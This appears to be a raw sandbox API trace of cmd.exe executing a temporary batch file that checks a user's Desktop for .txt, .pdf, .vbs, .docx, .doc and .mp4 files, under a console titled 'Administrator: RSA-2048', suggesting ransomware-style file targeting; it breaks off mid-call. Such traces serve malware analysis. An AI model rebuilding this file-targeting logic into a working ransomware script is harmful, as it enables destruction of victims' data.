[0037.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.ink goto ink\r\n") returned 2 [0037.076] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.076] GetFileType (hFile=0x74) returned 0x1 [0037.076] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.076] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0037.076] GetProcessHeap () returned 0x4e0000 [0037.076] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.076] GetProcessHeap () returned 0x4e0000 [0037.076] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.076] _tell (_FileHandle=3) returned 135 [0037.076] _close (_FileHandle=3) returned 0 [0037.077] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.077] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.077] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.077] SetFilePointer (in: hFile=0x74, lDistanceToMove=135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0037.077] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.077] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0037.077] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.077] SetFilePointer (in: hFile=0x74, lDistanceToMove=160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0037.077] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.txt goto txt\r\n") returned 25 [0037.077] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.077] GetFileType (hFile=0x74) returned 0x1 [0037.077] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.077] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0037.078] GetProcessHeap () returned 0x4e0000 [0037.078] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.078] GetProcessHeap () returned 0x4e0000 [0037.078] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.078] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.078] GetProcessHeap () returned 0x4e0000 [0037.078] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.078] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.078] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.078] GetProcessHeap () returned 0x4e0000 [0037.078] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.078] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.078] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.078] GetProcessHeap () returned 0x4e0000 [0037.078] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.078] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.078] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.078] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.078] GetProcessHeap () returned 0x4e0000 [0037.078] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.079] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.079] GetProcessHeap () returned 0x4e0000 [0037.079] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.079] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.079] GetProcessHeap () returned 0x4e0000 [0037.079] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.079] GetProcessHeap () returned 0x4e0000 [0037.079] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.080] _tell (_FileHandle=3) returned 160 [0037.080] _close (_FileHandle=3) returned 0 [0037.080] GetFullPathNameW (in: lpFileName="*.txt", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", lpFilePart=0x41eea8*="*.txt") returned 0x2b [0037.080] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.080] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.081] GetLastError () returned 0x2 [0037.081] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.081] GetLastError () returned 0x6 [0037.081] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.081] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.081] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.081] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.081] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.081] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.082] SetConsoleInputExeNameW () returned 0x1 [0037.082] GetConsoleOutputCP () returned 0x1b5 [0037.082] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.082] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.082] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.082] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.082] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.082] SetFilePointer (in: hFile=0x74, lDistanceToMove=160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0037.082] GetProcessHeap () returned 0x4e0000 [0037.082] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.082] GetProcessHeap () returned 0x4e0000 [0037.082] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.082] GetProcessHeap () returned 0x4e0000 [0037.082] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.082] GetProcessHeap () returned 0x4e0000 [0037.082] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.082] GetProcessHeap () returned 0x4e0000 [0037.083] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.083] GetProcessHeap () returned 0x4e0000 [0037.083] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.083] GetProcessHeap () returned 0x4e0000 [0037.083] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.083] GetProcessHeap () returned 0x4e0000 [0037.083] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.083] GetProcessHeap () returned 0x4e0000 [0037.083] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.083] GetProcessHeap () returned 0x4e0000 [0037.083] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.083] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.083] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0037.083] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.083] SetFilePointer (in: hFile=0x74, lDistanceToMove=162, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0037.083] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.txt goto txt\r\n") returned 2 [0037.083] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.083] GetFileType (hFile=0x74) returned 0x1 [0037.083] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.083] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0037.084] GetProcessHeap () returned 0x4e0000 [0037.084] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.084] GetProcessHeap () returned 0x4e0000 [0037.084] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.084] _tell (_FileHandle=3) returned 162 [0037.084] _close (_FileHandle=3) returned 0 [0037.084] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.084] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.084] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.084] SetFilePointer (in: hFile=0x74, lDistanceToMove=162, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0037.084] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.084] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0037.084] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.084] SetFilePointer (in: hFile=0x74, lDistanceToMove=187, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0037.085] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.pdf goto pdf\r\n") returned 25 [0037.085] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.085] GetFileType (hFile=0x74) returned 0x1 [0037.085] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.085] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0037.085] GetProcessHeap () returned 0x4e0000 [0037.085] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.085] GetProcessHeap () returned 0x4e0000 [0037.085] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.085] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.085] GetProcessHeap () returned 0x4e0000 [0037.085] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.085] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.085] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.085] GetProcessHeap () returned 0x4e0000 [0037.085] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.085] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.085] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.086] GetProcessHeap () returned 0x4e0000 [0037.086] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.086] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.086] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.086] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.086] GetProcessHeap () returned 0x4e0000 [0037.086] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.086] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.086] GetProcessHeap () returned 0x4e0000 [0037.086] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.086] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.086] GetProcessHeap () returned 0x4e0000 [0037.086] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.086] GetProcessHeap () returned 0x4e0000 [0037.086] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.087] _tell (_FileHandle=3) returned 187 [0037.088] _close (_FileHandle=3) returned 0 [0037.088] GetFullPathNameW (in: lpFileName="*.pdf", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFilePart=0x41eea8*="*.pdf") returned 0x2b [0037.088] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.088] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0x4f4c18 [0037.088] GetProcessHeap () returned 0x4e0000 [0037.088] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f1830, Size=0x4) returned 0x4f1830 [0037.088] FindClose (in: hFindFile=0x4f4c18 | out: hFindFile=0x4f4c18) returned 1 [0037.088] GetConsoleTitleW (in: lpConsoleTitle=0x41f098, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.088] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0037.088] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x12) returned 0x4f4c18 [0037.088] GetProcessHeap () returned 0x4e0000 [0037.088] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4c18) returned 0x12 [0037.088] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0037.089] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ede0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.089] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.089] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.089] SetFilePointer (in: hFile=0x74, lDistanceToMove=187, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0037.089] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.089] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0037.089] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.089] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0037.089] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.089] GetFileType (hFile=0x74) returned 0x1 [0037.089] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0037.089] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.089] SetFilePointer (in: hFile=0x74, lDistanceToMove=212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0037.089] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.vbs goto vbs\r\na\\Local\\Temp\\CAS5AY8X.bat\"") returned 25 [0037.089] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.089] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0037.090] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.090] GetFileType (hFile=0x74) returned 0x1 [0037.090] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0037.090] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.090] SetFilePointer (in: hFile=0x74, lDistanceToMove=214, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0037.090] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.vbs goto vbs\r\n") returned 2 [0037.090] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.090] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0037.090] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.090] GetFileType (hFile=0x74) returned 0x1 [0037.090] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0037.090] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.090] SetFilePointer (in: hFile=0x74, lDistanceToMove=241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0037.090] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.docx goto docx\r\nLocal\\Temp\\CAS5AY8X.bat\"") returned 27 [0037.090] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.090] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0037.090] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.090] GetFileType (hFile=0x74) returned 0x1 [0037.090] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0037.091] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0037.091] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.docx goto docx\r\n") returned 2 [0037.091] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0037.091] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.091] GetFileType (hFile=0x74) returned 0x1 [0037.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0037.091] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=268, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0037.091] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.doc goto doc\r\n\r\n") returned 25 [0037.091] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0037.091] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.091] GetFileType (hFile=0x74) returned 0x1 [0037.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0037.091] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=270, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0037.092] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.doc goto doc\r\n") returned 2 [0037.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0037.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.092] GetFileType (hFile=0x74) returned 0x1 [0037.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0037.092] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=295, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0037.092] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.mp4 goto mp4\r\n") returned 25 [0037.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0037.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.092] GetFileType (hFile=0x74) returned 0x1 [0037.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0037.092] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=297, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0037.092] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.mp4 goto mp4\r\n") returned 2 [0037.093] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, 